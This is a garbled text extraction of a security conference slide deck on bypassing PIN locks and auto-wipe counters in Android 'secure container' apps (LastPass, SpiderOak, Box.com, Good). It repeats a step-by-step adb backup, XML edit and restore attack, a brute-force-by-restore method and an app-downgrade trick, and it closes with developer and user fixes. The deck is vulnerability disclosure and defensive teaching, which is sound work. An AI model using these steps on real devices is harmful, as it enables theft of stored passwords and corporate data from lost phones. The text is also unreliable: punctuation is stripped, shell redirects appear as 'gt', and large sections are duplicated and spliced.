Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 49: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
